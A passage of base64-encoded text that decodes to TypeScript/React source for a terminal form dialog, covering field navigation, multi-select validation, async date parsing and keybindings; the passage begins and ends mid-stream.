SB1bmRlZmluZWQgPyBTdHJpbmcodmFsKSA6ICcnXG4gICAgICAgIHNldFRleHRJbnB1dFZhbHVlKHRleHQpXG4gICAgICAgIHNldFRleHRJbnB1dEN1cnNvck9mZnNldCh0ZXh0Lmxlbmd0aClcbiAgICAgIH1cbiAgICB9LFxuICAgIFtzY2hlbWFGaWVsZHMsIGZvcm1WYWx1ZXNdLFxuICApXG5cbiAgZnVuY3Rpb24gdmFsaWRhdGVNdWx0aVNlbGVjdChcbiAgICBmaWVsZE5hbWU6IHN0cmluZyxcbiAgICBzY2hlbWE6IFByaW1pdGl2ZVNjaGVtYURlZmluaXRpb24sXG4gICkge1xuICAgIGlmICghaXNNdWx0aVNlbGVjdEVudW1TY2hlbWEoc2NoZW1hKSkgcmV0dXJuXG4gICAgY29uc3Qgc2VsZWN0ZWQgPSAoZm9ybVZhbHVlc1tmaWVsZE5hbWVdIGFzIHN0cmluZ1tdIHwgdW5kZWZpbmVkKSA/PyBbXVxuICAgIGNvbnN0IGZpZWxkUmVxdWlyZWQgPVxuICAgICAgc2NoZW1hRmllbGRzLmZpbmQoZiA9PiBmLm5hbWUgPT09IGZpZWxkTmFtZSk/LmlzUmVxdWlyZWQgPz8gZmFsc2VcbiAgICBjb25zdCBtaW4gPSBzY2hlbWEubWluSXRlbXNcbiAgICBjb25zdCBtYXggPSBzY2hlbWEubWF4SXRlbXNcbiAgICAvLyBTa2lwIG1pbkl0ZW1zIGNoZWNrIHdoZW4gZmllbGQgaXMgb3B0aW9uYWwgYW5kIHVuc2V0XG4gICAgaWYgKFxuICAgICAgbWluICE9PSB1bmRlZmluZWQgJiZcbiAgICAgIHNlbGVjdGVkLmxlbmd0aCA8IG1pbiAmJlxuICAgICAgKHNlbGVjdGVkLmxlbmd0aCA+IDAgfHwgZmllbGRSZXF1aXJlZClcbiAgICApIHtcbiAgICAgIHVwZGF0ZVZhbGlkYXRpb25FcnJvcihcbiAgICAgICAgZmllbGROYW1lLFxuICAgICAgICBgU2VsZWN0IGF0IGxlYXN0ICR7bWlufSAke3BsdXJhbChtaW4sICdpdGVtJyl9YCxcbiAgICAgIClcbiAgICB9IGVsc2UgaWYgKG1heCAhPT0gdW5kZWZpbmVkICYmIHNlbGVjdGVkLmxlbmd0aCA+IG1heCkge1xuICAgICAgdXBkYXRlVmFsaWRhdGlvbkVycm9yKFxuICAgICAgICBmaWVsZE5hbWUsXG4gICAgICAgIGBTZWxlY3QgYXQgbW9zdCAke21heH0gJHtwbHVyYWwobWF4LCAnaXRlbScpfWAsXG4gICAgICApXG4gICAgfSBlbHNlIHtcbiAgICAgIHVwZGF0ZVZhbGlkYXRpb25FcnJvcihmaWVsZE5hbWUpXG4gICAgfVxuICB9XG5cbiAgZnVuY3Rpb24gaGFuZGxlTmF2aWdhdGlvbihkaXJlY3Rpb246ICd1cCcgfCAnZG93bicpOiB2b2lkIHtcbiAgICAvLyBDb2xsYXBzZSBhY2NvcmRpb24gYW5kIHZhbGlkYXRlIG9uIG5hdmlnYXRlIGF3YXlcbiAgICBpZiAoY3VycmVudEZpZWxkICYmIGlzTXVsdGlTZWxlY3RFbnVtU2NoZW1hKGN1cnJlbnRGaWVsZC5zY2hlbWEpKSB7XG4gICAgICB2YWxpZGF0ZU11bHRpU2VsZWN0KGN1cnJlbnRGaWVsZC5uYW1lLCBjdXJyZW50RmllbGQuc2NoZW1hKVxuICAgICAgc2V0RXhwYW5kZWRBY2NvcmRpb24odW5kZWZpbmVkKVxuICAgIH0gZWxzZSBpZiAoY3VycmVudEZpZWxkICYmIGlzRW51bVNjaGVtYShjdXJyZW50RmllbGQuc2NoZW1hKSkge1xuICAgICAgc2V0RXhwYW5kZWRBY2NvcmRpb24odW5kZWZpbmVkKVxuICAgIH1cblxuICAgIC8vIENvbW1pdCBjdXJyZW50IHRleHQgZmllbGQgYmVmb3JlIG5hdmlnYXRpbmcgYXdheVxuICAgIGlmIChpc0VkaXRpbmdUZXh0RmllbGQgJiYgY3VycmVudEZpZWxkKSB7XG4gICAgICBjb21taXRUZXh0RmllbGQoY3VycmVudEZpZWxkLm5hbWUsIGN1cnJlbnRGaWVsZC5zY2hlbWEsIHRleHRJbnB1dFZhbHVlKVxuXG4gICAgICAvLyBDYW5jZWwgYW55IHBlbmRpbmcgZGVib3VuY2Ug4oCUIHdlJ3JlIHJlc29sdmluZyBub3cgb24gbmF2aWdhdGUtYXdheVxuICAgICAgaWYgKGRhdGVEZWJvdW5jZVJlZi5jdXJyZW50ICE9PSB1bmRlZmluZWQpIHtcbiAgICAgICAgY2xlYXJUaW1lb3V0KGRhdGVEZWJvdW5jZVJlZi5jdXJyZW50KVxuICAgICAgICBkYXRlRGVib3VuY2VSZWYuY3VycmVudCA9IHVuZGVmaW5lZFxuICAgICAgfVxuXG4gICAgICAvLyBGb3IgZGF0ZS9kYXRldGltZSBmaWVsZHMgdGhhdCBmYWlsZWQgc3luYyB2YWxpZGF0aW9uLCB0cnkgYXN5bmMgTkwgcGFyc2luZ1xuICAgICAgaWYgKFxuICAgICAgICBpc0RhdGVUaW1lU2NoZW1hKGN1cnJlbnRGaWVsZC5zY2hlbWEpICYmXG4gICAgICAgIHRleHRJbnB1dFZhbHVlLnRyaW0oKSAhPT0gJycgJiZcbiAgICAgICAgdmFsaWRhdGlvbkVycm9yc1tjdXJyZW50RmllbGQubmFtZV1cbiAgICAgICkge1xuICAgICAgICByZXNvbHZlRmllbGRBc3luYyhcbiAgICAgICAgICBjdXJyZW50RmllbGQubmFtZSxcbiAgICAgICAgICBjdXJyZW50RmllbGQuc2NoZW1hLFxuICAgICAgICAgIHRleHRJbnB1dFZhbHVlLFxuICAgICAgICApXG4gICAgICB9XG4gICAgfVxuXG4gICAgLy8gRmllbGRzICsgYWNjZXB0ICsgZGVjbGluZVxuICAgIGNvbnN0IGl0ZW1Db3VudCA9IHNjaGVtYUZpZWxkcy5sZW5ndGggKyAyXG4gICAgY29uc3QgaW5kZXggPVxuICAgICAgY3VycmVudEZpZWxkSW5kZXggPz9cbiAgICAgIChmb2N1c2VkQnV0dG9uID09PSAnYWNjZXB0J1xuICAgICAgICA/IHNjaGVtYUZpZWxkcy5sZW5ndGhcbiAgICAgICAgOiBmb2N1c2VkQnV0dG9uID09PSAnZGVjbGluZSdcbiAgICAgICAgICA/IHNjaGVtYUZpZWxkcy5sZW5ndGggKyAxXG4gICAgICAgICAgOiB1bmRlZmluZWQpXG4gICAgY29uc3QgbmV4dEluZGV4ID1cbiAgICAgIGluZGV4ICE9PSB1bmRlZmluZWRcbiAgICAgICAgPyAoaW5kZXggKyAoZGlyZWN0aW9uID09PSAndXAnID8gaXRlbUNvdW50IC0gMSA6IDEpKSAlIGl0ZW1Db3VudFxuICAgICAgICA6IDBcbiAgICBpZiAobmV4dEluZGV4IDwgc2NoZW1hRmllbGRzLmxlbmd0aCkge1xuICAgICAgc2V0Q3VycmVudEZpZWxkSW5kZXgobmV4dEluZGV4KVxuICAgICAgc2V0Rm9jdXNlZEJ1dHRvbihudWxsKVxuICAgICAgc3luY1RleHRJbnB1dChuZXh0SW5kZXgpXG4gICAgfSBlbHNlIHtcbiAgICAgIHNldEN1cnJlbnRGaWVsZEluZGV4KHVuZGVmaW5lZClcbiAgICAgIHNldEZvY3VzZWRCdXR0b24obmV4dEluZGV4ID09PSBzY2hlbWFGaWVsZHMubGVuZ3RoID8gJ2FjY2VwdCcgOiAnZGVjbGluZScpXG4gICAgICBzZXRUZXh0SW5wdXRWYWx1ZSgnJylcbiAgICB9XG4gIH1cblxuICBmdW5jdGlvbiBzZXRGaWVsZChcbiAgICBmaWVsZE5hbWU6IHN0cmluZyxcbiAgICB2YWx1ZTogbnVtYmVyIHwgc3RyaW5nIHwgYm9vbGVhbiB8IHN0cmluZ1tdIHwgdW5kZWZpbmVkLFxuICApIHtcbiAgICBzZXRGb3JtVmFsdWVzKHByZXYgPT4ge1xuICAgICAgY29uc3QgbmV4dCA9IHsgLi4ucHJldiB9XG4gICAgICBpZiAodmFsdWUgPT09IHVuZGVmaW5lZCkge1xuICAgICAgICBkZWxldGUgbmV4dFtmaWVsZE5hbWVdXG4gICAgICB9IGVsc2Uge1xuICAgICAgICBuZXh0W2ZpZWxkTmFtZV0gPSB2YWx1ZVxuICAgICAgfVxuICAgICAgcmV0dXJuIG5leHRcbiAgICB9KVxuICAgIC8vIENsZWFyIFwicmVxdWlyZWRcIiBlcnJvciB3aGVuIGEgdmFsdWUgaXMgcHJvdmlkZWRcbiAgICBpZiAoXG4gICAgICB2YWx1ZSAhPT0gdW5kZWZpbmVkICYmXG4gICAgICB2YWxpZGF0aW9uRXJyb3JzW2ZpZWxkTmFtZV0gPT09ICdUaGlzIGZpZWxkIGlzIHJlcXVpcmVkJ1xuICAgICkge1xuICAgICAgdXBkYXRlVmFsaWRhdGlvbkVycm9yKGZpZWxkTmFtZSlcbiAgICB9XG4gIH1cblxuICBmdW5jdGlvbiB1cGRhdGVWYWxpZGF0aW9uRXJyb3IoZmllbGROYW1lOiBzdHJpbmcsIGVycm9yPzogc3RyaW5nKSB7XG4gICAgc2V0VmFsaWRhdGlvbkVycm9ycyhwcmV2ID0+IHtcbiAgICAgIGNvbnN0IG5leHQgPSB7IC4uLnByZXYgfVxuICAgICAgaWYgKGVycm9yKSB7XG4gICAgICAgIG5leHRbZmllbGROYW1lXSA9IGVycm9yXG4gICAgICB9IGVsc2Uge1xuICAgICAgICBkZWxldGUgbmV4dFtmaWVsZE5hbWVdXG4gICAgICB9XG4gICAgICByZXR1cm4gbmV4dFxuICAgIH0pXG4gIH1cblxuICBmdW5jdGlvbiB1bnNldEZpZWxkKGZpZWxkTmFtZTogc3RyaW5nKSB7XG4gICAgaWYgKCFmaWVsZE5hbWUpIHJldHVyblxuICAgIHNldEZpZWxkKGZpZWxkTmFtZSwgdW5kZWZpbmVkKVxuICAgIHVwZGF0ZVZhbGlkYXRpb25FcnJvcihmaWVsZE5hbWUpXG4gICAgc2V0VGV4dElucHV0VmFsdWUoJycpXG4gICAgc2V0VGV4dElucHV0Q3Vyc29yT2Zmc2V0KDApXG4gIH1cblxuICBmdW5jdGlvbiBjb21taXRUZXh0RmllbGQoXG4gICAgZmllbGROYW1lOiBzdHJpbmcsXG4gICAgc2NoZW1hOiBQcmltaXRpdmVTY2hlbWFEZWZpbml0aW9uLFxuICAgIHZhbHVlOiBzdHJpbmcsXG4gICkge1xuICAgIGNvbnN0IHRyaW1tZWRWYWx1ZSA9IHZhbHVlLnRyaW0oKVxuXG4gICAgLy8gRW1wdHkgaW5wdXQgZm9yIG5vbi1wbGFpbi1zdHJpbmcgdHlwZXMgbWVhbnMgdW5zZXRcbiAgICBpZiAoXG4gICAgICB0cmltbWVkVmFsdWUgPT09ICcnICYmXG4gICAgICAoc2NoZW1hLnR5cGUgIT09ICdzdHJpbmcnIHx8XG4gICAgICAgICgnZm9ybWF0JyBpbiBzY2hlbWEgJiYgc2NoZW1hLmZvcm1hdCAhPT0gdW5kZWZpbmVkKSlcbiAgICApIHtcbiAgICAgIHVuc2V0RmllbGQoZmllbGROYW1lKVxuICAgICAgcmV0dXJuXG4gICAgfVxuXG4gICAgaWYgKHRyaW1tZWRWYWx1ZSA9PT0gJycpIHtcbiAgICAgIC8vIEVtcHR5IHBsYWluIHN0cmluZyDigJQga2VlcCBvciB1bnNldCBkZXBlbmRpbmcgb24gd2hldGhlciBpdCB3YXMgc2V0XG4gICAgICBpZiAoZm9ybVZhbHVlc1tmaWVsZE5hbWVdICE9PSB1bmRlZmluZWQpIHtcbiAgICAgICAgc2V0RmllbGQoZmllbGROYW1lLCAnJylcbiAgICAgIH1cbiAgICAgIHJldHVyblxuICAgIH1cblxuICAgIGNvbnN0IHZhbGlkYXRpb24gPSB2YWxpZGF0ZUVsaWNpdGF0aW9uSW5wdXQodmFsdWUsIHNjaGVtYSlcbiAgICBzZXRGaWVsZChmaWVsZE5hbWUsIHZhbGlkYXRpb24uaXNWYWxpZCA/IHZhbGlkYXRpb24udmFsdWUgOiB2YWx1ZSlcbiAgICB1cGRhdGVWYWxpZGF0aW9uRXJyb3IoXG4gICAgICBmaWVsZE5hbWUsXG4gICAgICB2YWxpZGF0aW9uLmlzVmFsaWQgPyB1bmRlZmluZWQgOiB2YWxpZGF0aW9uLmVycm9yLFxuICAgIClcbiAgfVxuXG4gIGZ1bmN0aW9uIHJlc29sdmVGaWVsZEFzeW5jKFxuICAgIGZpZWxkTmFtZTogc3RyaW5nLFxuICAgIHNjaGVtYTogUHJpbWl0aXZlU2NoZW1hRGVmaW5pdGlvbixcbiAgICByYXdWYWx1ZTogc3RyaW5nLFxuICApIHtcbiAgICBpZiAoIXNpZ25hbCkgcmV0dXJuXG5cbiAgICAvLyBBYm9ydCBhbnkgZXhpc3RpbmcgcmVzb2x1dGlvbiBmb3IgdGhpcyBmaWVsZFxuICAgIGNvbnN0IGV4aXN0aW5nID0gcmVzb2x2ZUFib3J0UmVmLmN1cnJlbnQuZ2V0KGZpZWxkTmFtZSlcbiAgICBpZiAoZXhpc3RpbmcpIHtcbiAgICAgIGV4aXN0aW5nLmFib3J0KClcbiAgICB9XG5cbiAgICBjb25zdCBjb250cm9sbGVyID0gbmV3IEFib3J0Q29udHJvbGxlcigpXG4gICAgcmVzb2x2ZUFib3J0UmVmLmN1cnJlbnQuc2V0KGZpZWxkTmFtZSwgY29udHJvbGxlcilcblxuICAgIHNldFJlc29sdmluZ0ZpZWxkcyhwcmV2ID0+IG5ldyBTZXQocHJldikuYWRkKGZpZWxkTmFtZSkpXG5cbiAgICB2b2lkIHZhbGlkYXRlRWxpY2l0YXRpb25JbnB1dEFzeW5jKFxuICAgICAgcmF3VmFsdWUsXG4gICAgICBzY2hlbWEsXG4gICAgICBjb250cm9sbGVyLnNpZ25hbCxcbiAgICApLnRoZW4oXG4gICAgICByZXN1bHQgPT4ge1xuICAgICAgICByZXNvbHZlQWJvcnRSZWYuY3VycmVudC5kZWxldGUoZmllbGROYW1lKVxuICAgICAgICBzZXRSZXNvbHZpbmdGaWVsZHMocHJldiA9PiB7XG4gICAgICAgICAgY29uc3QgbmV4dCA9IG5ldyBTZXQocHJldilcbiAgICAgICAgICBuZXh0LmRlbGV0ZShmaWVsZE5hbWUpXG4gICAgICAgICAgcmV0dXJuIG5leHRcbiAgICAgICAgfSlcbiAgICAgICAgaWYgKGNvbnRyb2xsZXIuc2lnbmFsLmFib3J0ZWQpIHJldHVyblxuXG4gICAgICAgIGlmIChyZXN1bHQuaXNWYWxpZCkge1xuICAgICAgICAgIHNldEZpZWxkKGZpZWxkTmFtZSwgcmVzdWx0LnZhbHVlKVxuICAgICAgICAgIHVwZGF0ZVZhbGlkYXRpb25FcnJvcihmaWVsZE5hbWUpXG4gICAgICAgICAgLy8gVXBkYXRlIHRoZSB0ZXh0IGlucHV0IGlmIHdlJ3JlIHN0aWxsIG9uIHRoaXMgZmllbGRcbiAgICAgICAgICBjb25zdCBpc29UZXh0ID0gU3RyaW5nKHJlc3VsdC52YWx1ZSlcbiAgICAgICAgICBzZXRUZXh0SW5wdXRWYWx1ZShwcmV2ID0+IHtcbiAgICAgICAgICAgIC8vIE9ubHkgcmVwbGFjZSBpZiB0aGUgZmllbGQgaXMgc3RpbGwgc2hvd2luZyB0aGUgcmF3IGlucHV0XG4gICAgICAgICAgICBpZiAocHJldiA9PT0gcmF3VmFsdWUpIHtcbiAgICAgICAgICAgICAgc2V0VGV4dElucHV0Q3Vyc29yT2Zmc2V0KGlzb1RleHQubGVuZ3RoKVxuICAgICAgICAgICAgICByZXR1cm4gaXNvVGV4dFxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIHByZXZcbiAgICAgICAgICB9KVxuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIC8vIEtlZXAgcmF3IHRleHQsIHNob3cgdmFsaWRhdGlvbiBlcnJvclxuICAgICAgICAgIHVwZGF0ZVZhbGlkYXRpb25FcnJvcihmaWVsZE5hbWUsIHJlc3VsdC5lcnJvcilcbiAgICAgICAgfVxuICAgICAgfSxcbiAgICAgICgpID0+IHtcbiAgICAgICAgcmVzb2x2ZUFib3J0UmVmLmN1cnJlbnQuZGVsZXRlKGZpZWxkTmFtZSlcbiAgICAgICAgc2V0UmVzb2x2aW5nRmllbGRzKHByZXYgPT4ge1xuICAgICAgICAgIGNvbnN0IG5leHQgPSBuZXcgU2V0KHByZXYpXG4gICAgICAgICAgbmV4dC5kZWxldGUoZmllbGROYW1lKVxuICAgICAgICAgIHJldHVybiBuZXh0XG4gICAgICAgIH0pXG4gICAgICB9LFxuICAgIClcbiAgfVxuXG4gIGZ1bmN0aW9uIGhhbmRsZVRleHRJbnB1dENoYW5nZShuZXdWYWx1ZTogc3RyaW5nKSB7XG4gICAgc2V0VGV4dElucHV0VmFsdWUobmV3VmFsdWUpXG4gICAgLy8gQ29tbWl0IGltbWVkaWF0ZWx5IG9uIGVhY2gga2V5c3Ryb2tlIChzeW5jIHZhbGlkYXRpb24pXG4gICAgaWYgKGN1cnJlbnRGaWVsZCkge1xuICAgICAgY29tbWl0VGV4dEZpZWxkKGN1cnJlbnRGaWVsZC5uYW1lLCBjdXJyZW50RmllbGQuc2NoZW1hLCBuZXdWYWx1ZSlcblxuICAgICAgLy8gRm9yIGRhdGUvZGF0ZXRpbWUgZmllbGRzLCBkZWJvdW5jZSBhc3luYyBOTCBwYXJzaW5nIGFmdGVyIDJzIG9mIGluYWN0aXZpdHlcbiAgICAgIGlmIChkYXRlRGVib3VuY2VSZWYuY3VycmVudCAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIGNsZWFyVGltZW91dChkYXRlRGVib3VuY2VSZWYuY3VycmVudClcbiAgICAgICAgZGF0ZURlYm91bmNlUmVmLmN1cnJlbnQgPSB1bmRlZmluZWRcbiAgICAgIH1cbiAgICAgIGlmIChcbiAgICAgICAgaXNEYXRlVGltZVNjaGVtYShjdXJyZW50RmllbGQuc2NoZW1hKSAmJlxuICAgICAgICBuZXdWYWx1ZS50cmltKCkgIT09ICcnICYmXG4gICAgICAgIHZhbGlkYXRpb25FcnJvcnNbY3VycmVudEZpZWxkLm5hbWVdXG4gICAgICApIHtcbiAgICAgICAgY29uc3QgZmllbGROYW1lID0gY3VycmVudEZpZWxkLm5hbWVcbiAgICAgICAgY29uc3Qgc2NoZW1hID0gY3VycmVudEZpZWxkLnNjaGVtYVxuICAgICAgICBkYXRlRGVib3VuY2VSZWYuY3VycmVudCA9IHNldFRpbWVvdXQoXG4gICAgICAgICAgKGRhdGVEZWJvdW5jZVJlZiwgcmVzb2x2ZUZpZWxkQXN5bmMsIGZpZWxkTmFtZSwgc2NoZW1hLCBuZXdWYWx1ZSkgPT4ge1xuICAgICAgICAgICAgZGF0ZURlYm91bmNlUmVmLmN1cnJlbnQgPSB1bmRlZmluZWRcbiAgICAgICAgICAgIHJlc29sdmVGaWVsZEFzeW5jKGZpZWxkTmFtZSwgc2NoZW1hLCBuZXdWYWx1ZSlcbiAgICAgICAgICB9LFxuICAgICAgICAgIDIwMDAsXG4gICAgICAgICAgZGF0ZURlYm91bmNlUmVmLFxuICAgICAgICAgIHJlc29sdmVGaWVsZEFzeW5jLFxuICAgICAgICAgIGZpZWxkTmFtZSxcbiAgICAgICAgICBzY2hlbWEsXG4gICAgICAgICAgbmV3VmFsdWUsXG4gICAgICAgIClcbiAgICAgIH1cbiAgICB9XG4gIH1cblxuICBmdW5jdGlvbiBoYW5kbGVUZXh0SW5wdXRTdWJtaXQoKSB7XG4gICAgaGFuZGxlTmF2aWdhdGlvbignZG93bicpXG4gIH1cblxuICAvKipcbiAgICogQXBwZW5kIGEga2V5c3Ryb2tlIHRvIHRoZSB0eXBlYWhlYWQgYnVmZmVyIChyZXNldCBhZnRlciAycyBpZGxlKSBhbmRcbiAgICogY2FsbCBgb25NYXRjaGAgd2l0aCB0aGUgaW5kZXggb2YgdGhlIGZpcnN0IGxhYmVsIHRoYXQgcHJlZml4LW1hdGNoZXMuXG4gICAqIFNoYXJlZCBieSBib29sZWFuIHkvbiwgZW51bSBhY2NvcmRpb24sIGFuZCBtdWx0aS1zZWxlY3QgYWNjb3JkaW9uLlxuICAgKi9cbiAgZnVuY3Rpb24gcnVuVHlwZWFoZWFkKFxuICAgIGNoYXI6IHN0cmluZyxcbiAgICBsYWJlbHM6IHN0cmluZ1tdLFxuICAgIG9uTWF0Y2g6IChpbmRleDogbnVtYmVyKSA9PiB2b2lkLFxuICApIHtcbiAgICBjb25zdCB0YSA9IGVudW1UeXBlYWhlYWRSZWYuY3VycmVudFxuICAgIGlmICh0YS50aW1lciAhPT0gdW5kZWZpbmVkKSBjbGVhclRpbWVvdXQodGEudGltZXIpXG4gICAgdGEuYnVmZmVyICs9IGNoYXIudG9Mb3dlckNhc2UoKVxuICAgIHRhLnRpbWVyID0gc2V0VGltZW91dChyZXNldFR5cGVhaGVhZCwgMjAwMCwgdGEpXG4gICAgY29uc3QgbWF0Y2ggPSBsYWJlbHMuZmluZEluZGV4KGwgPT4gbC5zdGFydHNXaXRoKHRhLmJ1ZmZlcikpXG4gICAgaWYgKG1hdGNoICE9PSAtMSkgb25NYXRjaChtYXRjaClcbiAgfVxuXG4gIC8vIEVzYyB3aGlsZSBhIGZpZWxkIGlzIGZvY3VzZWQ6IGNhbmNlbCB0aGUgZGlhbG9nLlxuICAvLyBVc2VzIFNldHRpbmdzIGNvbnRleHQgKGVzY2FwZS1vbmx5LCBubyAnbicga2V5KSBzaW5jZSBEaWFsb2cnc1xuICAvLyBDb25maXJtYXRpb24tY29udGV4dCBjYW5jZWwgaXMgc3VwcHJlc3NlZCB3aGVuIGEgZmllbGQgaXMgZm9jdXNlZC5cbiAgdXNlS2V5YmluZGluZyhcbiAgICAnY29uZmlybTpubycsXG4gICAgKCkgPT4ge1xuICAgICAgLy8gRm9yIHRleHQgZmllbGRzLCByZXZlcnQgdW5jb21taXR0ZWQgY2hhbmdlcyBmaXJzdFxuICAgICAgaWYgKGlzRWRpdGluZ1RleHRGaWVsZCAmJiBjdXJyZW50RmllbGQpIHtcbiAgICAgICAgY29uc3QgdmFsID0gZm9ybVZhbHVlc1tjdXJyZW50RmllbGQubmFtZV1cbiAgICAgICAgc2V0VGV4dElucHV0VmFsdWUodmFsICE9PSB1bmRlZmluZWQgPyBTdHJpbmcodmFsKSA6ICcnKVxuICAgICAgICBzZXRUZXh0SW5wdXRDdXJzb3JPZmZzZXQoMClcbiAgICAgIH1cbiAgICAgIG9uUmVzcG9uc2UoJ2NhbmNlbCcpXG4gICAgfSxcbiAgICB7XG4gICAgICBjb250ZXh0OiAnU2V0dGluZ3MnLFxuICAgICAgaXNBY3RpdmU6ICEhY3VycmVudEZpZWxkICYmICFmb2N1c2VkQnV0dG9uICYmICFleHBhbmRlZEFjY29yZGlvbixcbiAgICB9LFxuICApXG5cbiAgdXNlSW5wdXQoXG4gICAgKF9pbnB1dCwga2V5KSA9PiB7XG4gICAgICAvLyBUZXh0IGZpZWxkcyBoYW5kbGUgdGhlaXIgb3duIGNoYXJhY3RlciBpbnB1dDsgd2Ugb25seSBpbnRlcmNlcHRcbiAgICAgIC8vIG5hdmlnYXRpb24ga2V5cyBhbmQgYmFja3NwYWNlLW9uLWVtcHR5IGhlcmUuXG4gICAgICBpZiAoXG4gICAgICAgIGlzRWRpdGluZ1RleHRGaWVsZCAmJlxuICAgICAgICAha2V5LnVwQXJyb3cgJiZcbiAgICAgICAgIWtleS5kb3duQXJyb3cgJiZcbiAgICAgICAgIWtleS5yZXR1cm4gJiZcbiAgICAgICAgIWtleS5iYWNrc3BhY2VcbiAgICAgICkge1xuICAgICAgICByZXR1cm5cbiAgICAgIH1cblxuICAgICAgLy8gRXhwYW5kZWQgbXVsdGktc2VsZWN0IGFjY29yZGlvblxuICAgICAgaWYgKFxuICAgICAgICBleHBhbmRlZEFjY29yZGlvbiAmJlxuICAgICAgICBjdXJyZW50RmllbGQgJiZcbiAgICAgICAgaXNNdWx0aVNlbGVjdEVudW1TY2hlbWEoY3VycmVudEZpZWxkLnNjaGVtYSlcbiAgICAgICkge1xuICAgICAgICBjb25zdCBtc1NjaGVtYSA9IGN1cnJlbnRGaWVsZC5zY2hlbWFcbiAgICAgICAgY29uc3QgbXNWYWx1ZXMgPSBnZXRNdWx0aVNlbGVjdFZhbHVlcyhtc1NjaGVtYSlcbiAgICAgICAgY29uc3Qgc2VsZWN0ZWQgPSAoZm9ybVZhbHVlc1tjdXJyZW50RmllbGQubmFtZV0gYXMgc3RyaW5nW10pID8/IFtdXG5cbiAgICAgICAgaWYgKGtleS5sZWZ0QXJyb3cgfHwga2V5LmVzY2FwZSkge1xuICAgICAgICAgIHNldEV4cGFuZGVkQWNjb3JkaW9uKHVuZGVmaW5lZClcbiAgICAgICAgICB2YWxpZGF0ZU11bHRpU2VsZWN0KGN1cnJlbnRGaWVsZC5uYW1lLCBtc1NjaGVtYSlcbiAgICAgICAgICByZXR1cm5cbiAgICAgICAgfVxuICAgICAgICBpZiAoa2V5LnVwQXJyb3cpIHtcbiAgICAgICAgICBpZiAoYWNjb3JkaW9uT3B0aW9uSW5kZXggPT09IDApIHtcbiAgICAgICAgICAgIHNldEV4cGFuZGVkQWNjb3JkaW9uKHVuZGVmaW5lZClcbiAgICAgICAgICAgIHZhbGlkYXRlTXVsdGlTZWxlY3QoY3VycmVudEZpZWxkLm5hbWUsIG1zU2NoZW1hKVxuICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBzZXRBY2NvcmRpb25PcHRpb25JbmRleChhY2NvcmRpb25PcHRpb25JbmRleCAtIDEpXG4gICAgICAgICAgfVxuICAgICAgICAgIHJldHVyblxuICAgICAgICB9XG4gICAgICAgIGlmIChrZXkuZG93bkFycm93KSB7XG4gICAgICAgICAgaWYgKGFjY29yZGlvbk9wdGlvbkluZGV4ID49IG1zVmFsdWVzLmxlbmd0aCAtIDEpIHtcbiAgICAgICAgICAgIHNldEV4cGFuZGVkQWNjb3JkaW9uKHVuZGVmaW5lZClcbiAgICAgICAgICAgIGhhbmRsZU5hdmlnYXRpb24oJ2Rvd24nKVxuICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBzZXRBY2NvcmRpb25PcHRpb25JbmRleChhY2NvcmRpb25PcHRpb25JbmRleCArIDEpXG4gICAgICAgICAgfVxuICAgICAgICAgIHJldHVyblxuICAgICAgICB9XG4gICAgICAgIGlmIChfaW5wdXQgPT09ICcgJykge1xuICAgICAgICAgIGNvbnN0IG9wdGlvblZhbHVlID0gbXNWYWx1ZXNbYWNjb3JkaW9uT3B0aW9uSW5kZXhdXG4gICAgICAgICAgaWYgKG9wdGlvblZhbHVlICE9PSB1bmRlZmluZWQpIHtcbiAgICAgICAgICAgIGNvbnN0IG5ld1NlbGVjdGVkID0gc2VsZWN0ZWQuaW5jbHVkZXMob3B0aW9uVmFsdWUpXG4gICAgICAgICAgICAgID8gc2VsZWN0ZWQuZmlsdGVyKHYgPT4gdiAhPT0gb3B0aW9uVmFsdWUpXG4gICAgICAgICAgICAgIDogWy4uLnNlbGVjdGVkLCBvcHRpb25WYWx1ZV1cbiAgICAgICAgICAgIGNvbnN0IG5ld1ZhbHVlID0gbmV3U2VsZWN0ZWQubGVuZ3RoID4gMCA/IG5ld1NlbGVjdGVkIDogdW5kZWZpbmVkXG4gICAgICAgICAgICBzZXRGaWVsZChjdXJyZW50RmllbGQubmFtZSwgbmV3VmFsdWUpXG4gICAgICAgICAgICBjb25zdCBtaW4gPSBtc1NjaGVtYS5taW5JdGVtc1xuICAgICAgICAgICAgY29uc3QgbWF4ID0gbXNTY2hlbWEubWF4SXRlbXNcbiAgICAgICAgICAgIGlmIChcbiAgICAgICAgICAgICAgbWluICE9PSB1bmRlZmluZWQgJiZcbiAgICAgICAgICAgICAgbmV3U2VsZWN0ZWQubGVuZ3RoIDwgbWluICYmXG4gICAgICAgICAgICAgIChuZXdTZWxlY3RlZC5sZW5ndGggPiAwIHx8IGN1cnJlbnRGaWVsZC5pc1JlcXVpcmVkKVxuICAgICAgICAgICAgKSB7XG4gICAgICAgICAgICAgIHVwZGF0ZVZhbGlkYXRpb25FcnJvcihcbiAgICAgICAgICAgICAgICBjdXJyZW50RmllbGQubmFtZSxcbiAgICAgICAgICAgICAgICBgU2VsZWN0IGF0IGxlYXN0ICR7bWlufSAke3BsdXJhbChtaW4sICdpdGVtJyl9YCxcbiAgICAgICAgICAgICAgKVxuICAgICAgICAgICAgfSBlbHNlIGlmIChtYXggIT09IHVuZGVmaW5lZCAmJiBuZXdTZWxlY3RlZC5sZW5ndGggPiBtYXgpIHtcbiAgICAgICAgICAgICAgdXBkYXRlVmFsaWRhdGlvbkVycm9yKFxuICAgICAgICAgICAgICAgIGN1cnJlbnRGaWVsZC5uYW1lLFxuICAgICAgICAgICAgICAgIGBTZWxlY3QgYXQgbW9zdCAke21heH0gJHtwbHVyYWwobWF4LCAnaXRlbScpfWAsXG4gICAgICAgICAgICAgIClcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgIHVwZGF0ZVZhbGlkYXRpb25FcnJvcihjdXJyZW50RmllbGQubmFtZSlcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgICAgcmV0dXJuXG4gICAgICAgIH1cbiAgICAgICAgaWYgKGtleS5yZXR1cm4pIHtcbiAgICAgICAgICAvLyBDaGVjayAobm90IHRvZ2dsZSkgdGhlIGZvY3VzZWQgaXRlbSwgdGhlbiBjb2xsYXBzZSBhbmQgYWR2YW5jZVxuICAgICAgICAgIGNvbnN0IG9wdGlvblZhbHVlID0gbXNWYWx1ZXNbYW